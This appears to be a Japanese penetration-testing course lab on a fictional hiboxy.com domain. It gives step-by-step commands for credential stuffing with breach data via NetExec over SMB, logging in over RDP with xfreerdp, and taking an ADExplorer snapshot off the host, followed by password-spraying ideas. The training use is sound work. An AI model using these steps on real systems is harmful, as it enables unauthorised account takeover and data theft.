Skip to content

ボーナス演習:Linuxからのクレデンシャルスタッフィングによる侵害

オンライン演習

接続性:この演習を行うには、クラス内ネットワーク(560A VPN経由)に接続している必要があります。

目的

  • 特定のドメインに対するクレデンシャルスタッフィングデータを分析する
  • 企業が公開している単一要素認証サービスを特定する
  • クレデンシャルスタッフィングを使用してRemote Desktop Protocol(RDP)経由でアクセスを取得する
  • ターゲットシステムを分析して機密データを発見し、窃取する

演習のセットアップ

使用するVM:

  • Linux

内部ターゲットIPへの接続を確認します:

コマンド

ping -c 4 10.130.10.10

想定される結果

sec560@560vm:~$ ping -c 4 10.130.10.10
PING 10.130.10.10 (10.130.10.10) 56(84) bytes of data.
64 bytes from 10.130.10.10: icmp_seq=1 ttl=127 time=0.045 ms
64 bytes from 10.130.10.10: icmp_seq=2 ttl=127 time=0.041 ms
64 bytes from 10.130.10.10: icmp_seq=3 ttl=127 time=0.042 ms
64 bytes from 10.130.10.10: icmp_seq=4 ttl=127 time=0.039 ms

警告:OpenVPN接続が必要です!

10.130.10.10にpingできない場合は、続行する前にOpenVPNサーバーに接続する必要があります。https://connect.labs.sans.org/ にアクセスし、SANSアカウントでログインしてください。OpenVPN設定ファイル(ファイル名 sec560-labs-range.ovpn)をホストオペレーティングシステムにダウンロードし、そのファイルをLinux仮想マシンのsec560のホームフォルダーにコピー&ペーストして(デスクトップにショートカットがあります)、次のコマンドを実行してください:

sudo openvpn --config sec560-labs-range.ovpn

Linux VMのバージョンによっては、ADExplorerをダウンロードする必要がある場合があります。まだインストールしていない場合は、次のコマンドを使用してインストールしてください:

コマンド

wget https://live.sysinternals.com/ADExplorer.exe -O ~/labs/ADExplorer.exe

Linux VMのバージョンによっては、Windows実行ファイルを実行するために wine をインストールする必要がある場合があります。まだインストールしていない場合は、新しいターミナルタブで次のコマンドを使用してインストールしてください。演習を進めている間、バックグラウンドで実行させておくことができます:

コマンド

sudo apt update; sudo apt install -y wine

段階的な手順

この演習では、hiboxy.com Active Directoryドメイン内の公開されているRDPサーバーを見つけ、過去の侵害から@hiboxy.comアカウントの認証情報を見つけ、それらの認証情報を再利用してRDPサーバーに対する有効なログインを見つけ、その後ログインしてデータを窃取します。

この演習は、侵害が効果的であるために複雑である必要はなく、また「真の」エクスプロイトが関与する必要もないことを示しています。バグは修正されますが、機能は永遠に残ります。

1:1FAサービスの発見

Hiboxyは、このペネトレーションテストのためにOpenVPN経由で内部ネットワークアクセスを提供しています。彼らは、RDPサーバーであるRDP01がファイアウォールからのNATを使用して外部から利用可能であることを確認しましたが、内部IPアドレスは10.130.10.23です。

まず、RDPサーバーがVPN経由でアクセス可能であることを確認しましょう。新しいターミナルセッションを開始し(デスクトップのショートカットを使用)、次のコマンドを実行します:

コマンド

nmap 10.130.10.23 -p 3389 --script rdp-ntlm-info -Pn

想定される結果

sec560@560vm:~$ nmap 10.130.10.23 -p 3389 --script rdp-ntlm-info -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-06 16:23 UTC
Nmap scan report for ip-10-130-10-23.us-east-2.compute.internal (10.130.10.23)
Host is up (0.069s latency).

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server
| rdp-ntlm-info: 
|   Target_Name: HIBOXY
|   NetBIOS_Domain_Name: HIBOXY
|   NetBIOS_Computer_Name: RDP01
|   DNS_Domain_Name: hiboxy.com
|   DNS_Computer_Name: rdp01.hiboxy.com
|   DNS_Tree_Name: hiboxy.com
|   Product_Version: 10.0.20348
|_  System_Time: 2025-05-06T16:23:22+00:00

Nmap done: 1 IP address (1 host up) scanned in 0.63 seconds

同じRDPサーバーが内部で利用可能であることを確認しました。また、Active Directoryドメイン名(hiboxy.com)も確認しました。

10.130.10.23はポート80と443に応答しません(Nmapは、非特権スキャンでホストが生きているかどうかを判断するためにデフォルトでこれらを使用します)ので、ホスト検出フェーズをスキップするために -Pn 引数を使用する必要があります。

ヒント

Microsoft Exchangeも内部Active Directoryドメイン名を明らかにし、Exchangeは一般的に外部に公開されています。興味があれば、次のコマンドを使用してこの環境内のドメイン名を見つけることができます:nmap 10.130.10.25 -Pn -n -p 25 --script smtp-ntlm-info

2:侵害データの検索

Active Directoryドメイン名がわかったので、そのドメインのアカウントを侵害データから検索できます。偵察を通じて、Hiboxy従業員のメールアドレスとパスワード(他のものも含む)を含むいくつかの侵害データを見つけたとしましょう。このデータを使用してRDPサーバーへのログインを試みることができます。

まず、元の breachdata.txt ファイルの最初の3行を見て、データのフォーマット(emailaddress:password)を確認します。次に、@hiboxy.com: を含む行を検索し、hiboxy_breachdata.txt という新しいファイルに保存します。そこからユーザー名とパスワードを抽出します。

コマンド

curl -s https://gist.githubusercontent.com/jeffmcjunkin/6e94732dd8f43a45c3334eb8cfc92daf/raw/breachdata.txt > breachdata.txt
head -n 3 breachdata.txt
grep '@hiboxy.com:' breachdata.txt > hiboxy_breachdata.txt

想定される結果

sec560@560vm:~$ curl -s https://gist.githubusercontent.com/jeffmcjunkin/6e94732dd8f43a45c3334eb8cfc92daf/raw/breachdata.txt > breachdata.txt
sec560@560vm:~$ head -n 3 breachdata.txt
linda.miller@fabrikam.com:abc123
david.brown@northwindtraders.com:12345
john.smith@adatum.com:password123
sec560@560vm:~$ grep '@hiboxy.com:' breachdata.txt > hiboxy_breachdata.txt

抽出した hiboxy_breachdata.txt ファイルができたので、ユーザー名とパスワードを抽出できます。ユーザー名は @ 記号の前のすべて、パスワードは : 記号の後のすべてです。これを行うには cut コマンドを使用できます:

コマンド

cut -d'@' -f1 hiboxy_breachdata.txt > hiboxy_users.txt
cut -d':' -f2- hiboxy_breachdata.txt > hiboxy_passwords.txt

想定される結果

sec560@560vm:~$ cut -d'@' -f1 hiboxy_breachdata.txt > hiboxy_users.txt
sec560@560vm:~$ cut -d':' -f2- hiboxy_breachdata.txt > hiboxy_passwords.txt

hiboxy_users.txt ファイルの最初の行は、hiboxy_passwords.txt ファイルの最初の行に対応しています。一部のツールでは、username:password 形式の認証情報を持つ1つのファイルを使用できます(クラスで後ほど使用するTHC-Hydraなど)が、他のツールではそうではありません。

3:SMBクレデンシャルスタッフィング

次のツールはNetExecで、大規模環境のセキュリティテストを自動化するためのペネトレーションテストツールです。侵害データで見つけた認証情報を使用してRDPサーバーへのログインを試みるためにNetExecを使用します。より速い演習のために、ターゲットサービスとしてSMBを使用します。RDPもオプションとして利用できますが、出力が遅く、状況によっては信頼性が低い場合があります。

まず、NetExecをインストールしましょう。まだインストールしていない場合は、次のコマンドを使用してインストールしてください:

コマンド

wget https://github.com/Pennyw0rth/NetExec/releases/download/v1.4.0/nxc-ubuntu-latest.zip
unzip nxc-ubuntu-latest.zip
sudo mv nxc /usr/local/bin
sudo chmod +x /usr/local/bin/nxc
rm nxc-ubuntu-latest.zip

それでは、侵害データを使用してRDPサーバーへのログインを試みましょう:

コマンド

nxc smb -u hiboxy_users.txt -p hiboxy_passwords.txt -d hiboxy.com --continue-on-success --no-bruteforce 10.130.10.23

想定される結果

sec560@560vm:~$ nxc smb -u hiboxy_users.txt -p hiboxy_passwords.txt -d hiboxy.com --continue-on-success --no-bruteforce 10.130.10.23
SMB         10.130.10.23    445    RDP01            [*] Windows Server 2022 Build 20348 x64 (name:RDP01) (domain:hiboxy.com) (signing:False) (SMBv1:False)
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\jsmith:Summer2020! STATUS_LOGON_FAILURE 
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\dmiller:nuggetnugget STATUS_LOGON_FAILURE 
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\amartin:AstonMartinDB5 STATUS_LOGON_FAILURE 
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\jwood:Rockin10 STATUS_LOGON_FAILURE 
SMB         10.130.10.23    445    RDP01            [+] hiboxy.com\hmoore:Shane1** 
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\mjohnson:Chocolate1! STATUS_LOGON_FAILURE 
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\agardner:Vocabulary STATUS_LOGON_FAILURE 
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\emartinez:Explorer007 STATUS_LOGON_FAILURE 
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\mlee:Musketeer_4th STATUS_LOGON_FAILURE 
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\tanderson:MatrixRev9 STATUS_LOGON_FAILURE 
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\wwilliams:Williams@2020 STATUS_LOGON_FAILURE 
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\jmartinez:Julio@2003 STATUS_LOGON_FAILURE 
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\khill:OverTheHill45 STATUS_LOGON_FAILURE 
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\swilson:SeahawksFan52 STATUS_LOGON_FAILURE 
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\dbrown:BostonCeltics#1 STATUS_LOGON_FAILURE 
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\cdavis:ClaraD!2020 STATUS_LOGON_FAILURE 
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\hthomas:TommyBoy2022 STATUS_LOGON_FAILURE 
SMB         10.130.10.23    445    RDP01            [+] hiboxy.com\sbishop:Ethnogeographically1 
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\rduran:Winter2018! STATUS_LOGON_FAILURE 
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\rrodriguez:Rodriguez24@ STATUS_LOGON_FAILURE 
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\syoung:Youngster52 STATUS_LOGON_FAILURE 
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\mgarcia:MariaG2020* STATUS_LOGON_FAILURE 
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\awright:WrightFlight1903 STATUS_LOGON_FAILURE 
SMB         10.130.10.23    445    RDP01            [+] hiboxy.com\apena:F1r3Dr@g0n 
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\bhall:BeachBum$29 STATUS_LOGON_FAILURE 
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\ljones:LiverpoolFC! STATUS_LOGON_FAILURE 
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\nlopez:Spring2019 STATUS_LOGON_FAILURE 
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\jclark:ClarkKent2019 STATUS_LOGON_FAILURE 
SMB         10.130.10.23    445    RDP01            [-] hiboxy.com\eharris:EddieMoney2020 STATUS_LOGON_FAILURE

参考までに、使用したコマンドラインオプションは次のとおりです:

  • smb - SMBプロトコルを使用する
  • -u "C:\CourseFiles\hiboxy_users.txt" - ファイル hiboxy_users.txt 内のユーザー名を使用する
  • -p "C:\CourseFiles\hiboxy_passwords.txt" - ファイル hiboxy_passwords.txt 内のパスワードを使用する
  • -d hiboxy.com - ドメイン hiboxy.com を使用する(ローカル認証情報ではなく)
  • --continue-on-success - 1つが成功しても他の認証情報を試し続ける
  • --no-bruteforce - ファイルからペアになったユーザー名とパスワードを使用する;バリエーションを試さない(最初のユーザー名と最初のパスワード、2番目のユーザー名と2番目のパスワードなど)

侵害されたパスワードのバリエーションを試したり、Statistically Likely Usernamesのようなソースを使用して他のユーザー名を試したりすることもできますが、今のところ有効な認証情報があるので、それらを使用してログオンすることに進みましょう。

4:RDP経由でのログイン(Linux)

見つけた認証情報を使用してログオンしましょう。3つのアカウントのうち1つを選んでログインします。 shuf を使用して、上記の出力から成功した3つのアカウントのうち1つをランダムに選択します:

コマンド

cat <<'EOF' > /tmp/rdp_accounts.txt
hmoore:Shane1**
sbishop:Ethnogeographically1
apena:F1r3Dr@g0n
EOF
export RDP_ACCOUNT=$(shuf -n 1 /tmp/rdp_accounts.txt)
export RDP_USER=$(echo $RDP_ACCOUNT | cut -d':' -f1)
export RDP_PASS=$(echo $RDP_ACCOUNT | cut -d':' -f2)
cat << 'EOF' 構文について知りたいですか?

<< は、ファイルの内容をコマンドにリダイレクトできるシェル演算子です。この場合、ユーザー名の内容を持つファイルを作成するために使用しています。EOF は、シェルにファイルの終わりがどこにあるかを伝える区切り文字です。任意の文字列を使用できますが、EOF が一般的な選択肢です。EOF の周りの単一引用符は変数展開を防ぐため、ファイルの内容は、$\ などのシェルによって通常解釈される文字があっても、リテラルテキストとして扱われます。

見つけた3つのアカウントのうち1つを使用して接続しましょう。xfreerdp コマンドは、RDPプロトコルを使用してWindowsマシンに接続できるLinux RDPクライアントです:

コマンド

xfreerdp /u:hiboxy\\$RDP_USER /p:"$RDP_PASS" /v:10.130.10.23 /drive:labs,/home/sec560/labs /cert-ignore /size:80% +dynamic-resolution

想定される結果

この時点でRDPクライアントが視覚的に開くはずです。xfreerdp の出力は無視しても問題ありません。

これらの xfreerdp オプションについて知りたいですか?

xfreerdp コマンドは、RDPプロトコルを使用してWindowsマシンに接続できるLinux RDPクライアントです。多くのオプションがありますが、この演習で使用したものは次のとおりです:

  • /u:hiboxy\\$RDP_USER - ユーザー名 hiboxy\$RDP_USER を使用する(\\ はユーザー名内のバックスラッシュをエスケープするために使用されます)
  • /p:'$RDP_PASS' - パスワード $RDP_PASS を使用する、成功した3つのアカウントから選ばれました
  • /v:10.130.10.23 - 演習の前半で確認した10.130.10.23のRDPサーバーに接続する
  • /drive:labs,/home/sec560/labs - labs ドライブをLinux VM上のユーザー sec560 のホームディレクトリにマップする
  • /cert-ignore - 証明書エラーを無視する(これは演習環境なので、それらについて気にしません)
  • /size:80% - RDPウィンドウのサイズをクライアント画面サイズの80%に設定する
  • +dynamic-resolution - ウィンドウのサイズを変更すると、RDPウィンドウが動的にサイズ変更されるようにする

素晴らしい!任意のコードを実行する能力を持つ認証された内部セッションは、攻撃者にとって強力な立場です。環境に関する情報を収集することから始めましょう。HiboxyのActive Directory環境を調査するためにActive Directory Explorer(ADExplorer)を使用します。また、Hiboxy AD環境のスナップショットを取得して自分のマシンで分析できるようにし、他の機密データも発見して窃取できます。

画面左下隅のWindowsフォルダーアイコンをクリックします:

Folder icon

次に、表示される ファイルエクスプローラー ウィンドウで This PC をクリックします。Redirected drives and folders の下で、labs on 560vm をダブルクリックします:

Redirected drives and folders

次に、ADExplorer をダブルクリックします。

プロンプトが表示されたら、Agree をクリックしてライセンス契約に同意します。ADExplorerが開いたら、接続情報を空白のままにして(現在のActive Directoryドメインにデフォルト設定されます)、OK をクリックします:

ADExplorer Connection

HiboxyのActive Directory環境のビューが表示されます。Active Directoryユーザーとコンピューターに似ています。必要に応じて、ウィンドウの左側のツリーをナビゲートして環境を探索できます。

ウィンドウの左上隅にある File をクリックし、次に Create Snapshot をクリックします。省略記号(...)をクリックしてスナップショットを保存する場所を選択し、左側の Quick access メニューの下にある Desktop ショートカットをクリックし、File name: フィールドに Hiboxy-snapshot と入力し、Save をクリックしてから OK をクリックします:

ADExplorer Create Snapshot

これでADExplorerを閉じることができます。次に、スナップショットを窃取します。デスクトップ上の Hiboxy-snapshot ファイルを右クリックして Cut をクリックし、次にまだ開いている ファイルエクスプローラー ウィンドウ内を右クリックして Paste をクリックします。これにより、スナップショットがLinux VMの /home/sec560/labs ディレクトリに移動されます。

情報

ADExplorerはLinux VM上の labs ディレクトリに直接保存できますが、RDPのファイルレイテンシのために時間がかかります。

xfreerdp アプリケーションを閉じて、RDPセッションから切断してください。

5:ADExplorerスナップショットの窃取と分析

HiboxyがRDP接続とスナップショットの窃取に気付いたとしても、窃取されたデータのコピーを削除することはできません。また、データを収集するためにMicrosoft署名済みバイナリ(ADExplorer)を使用したため、AVやEDRソリューションはこのアクティビティを無視する可能性が高いです。

次に、今度はUbuntu VM上でADExplorerを開きます。ADExplorer実行ファイルは /home/sec560/labs/ ディレクトリにあります。次のように wine で起動します:

コマンド

wine ~/labs/ADExplorer.exe

想定される結果

以前に wine を実行したかどうかによって出力は異なる場合がありますが、ADExplorerが新しいウィンドウで開くはずです。

開いたら(求められた場合はEULAに同意し)、Enter the path of a previous snapshot to load. ラジオボタンを選択します。Path: テキストウィンドウの右側にある省略記号ボタン(...)をクリックし、labs ディレクトリに移動し、Hiboxy-snapshot ファイルを選択してから Open をクリックします:

OK をクリックしてスナップショットをロードします。RDPサーバーで見たのと同じHiboxy Active Directory環境のビューが表示されるはずです。

ADExplorerウィンドウの左側にある DC=hiboxy,DC=com アイコンをクリックします。右側のウィンドウペインに、ドメインオブジェクト自体のLDAP属性名と値が表示されます。

まず、ms-DS-MachineAccountQuota を見てください。その値が 10 に設定されているのがわかりますか?これは危険なデフォルト設定です。これは、任意のユーザーがドメイン内に最大10個のコンピューターアカウントを作成できることを意味します。本質的に 危険ではありませんが、他の欠陥と組み合わせることでいくつかの危険な攻撃を可能にする可能性があり、ペネトレーションテストの所見にすべきです。代わりに、コンピューターアカウントの作成には専用アカウントを使用し、ms-DS-MachineAccountQuotaの値は 0 にすべきです。

次に、7 に設定されている minPwdLength を見てください。0(ロックアウトなし)の lockoutThreshold と組み合わせると、これはパスワード推測攻撃が何の影響もなく実行できることを意味します。pwdProperties 属性は 1 に設定されており、これはパスワードが「複雑」でなければならないことを意味します。これらの設定は非常に弱いパスワードポリシーを形成しており、攻撃者は影響や潜在的な本番環境への影響なしに、サーバーが許可する限り速くパスワードを推測できます。

今のところ、ADExplorerを閉じましょう。将来の演習でHiboxyをより詳しく調査することは確実ですが、すでにいくつかの高リスクの所見を発見しました。

まとめ

この演習では、Hiboxyドメイン内の公開されているRDPサーバーを見つけ、ドメインの侵害された認証情報を見つけ、それらの認証情報を使用してRDPサーバーにログインし、機密データを窃取しました。ドメインには弱いパスワードポリシーと、コンピューターアカウント作成のための危険なデフォルト設定があることがわかりました。

重要なことに、侵害が効果的であるために複雑である必要はなく、また修正可能な欠陥が関与する必要もないことも確認しました。

さらに多くのことを試してみたいですか?いくつかのアイデアを以下に示します:

  • ドメイン内のすべてのユーザーの権威あるリストをダンプし(ImpacketのGetADUsers.pyスクリプトを使用)、それらに対して一般的なパスワードをスプレーする
  • 一般的なパスワード(https://weakpasswords.net/)および既知の侵害されたパスワードをスプレーする
  • hashcatルール(best66.ruleなど)または自分の知性を使用して、既知の侵害された認証情報のバリエーションを試す(例えば、以前に侵害されたパスワード Winter2018!Summer2024! に更新する)

ボーナス

2人のユーザーが C:\CourseFiles\breachdata.txt ファイルで見つかったものと同じパスワード パターン を持っています:

  • Nathan Lopez(HR)、nlopez@hiboxy.com、侵害データでは Spring2019 として表示されます。しかし、侵害データは本質的に古いので、現在と次のシーズンを試してください!
  • Rachel Duran(マーケティング)、rduran@hiboxy.com、侵害データでは Winter2018! として表示されます。現在と次のシーズンについて、同じパターン(! 付き)を試してください!

2人のユーザーが C:\CourseFiles\breachdata.txt ファイルで見つかったパスワードに小さなバリエーションを持っています:

  • Andrea Gardner、agardner@hiboxy.com、侵害データでは Vocabulary として表示されます。パスワードの末尾に数字や特殊文字を追加してみてください。
  • Jonathan Wood、jwood@hiboxy.com、侵害データでは Rockin10 として表示されます。パスワードの末尾に数字や特殊文字を追加してみてください。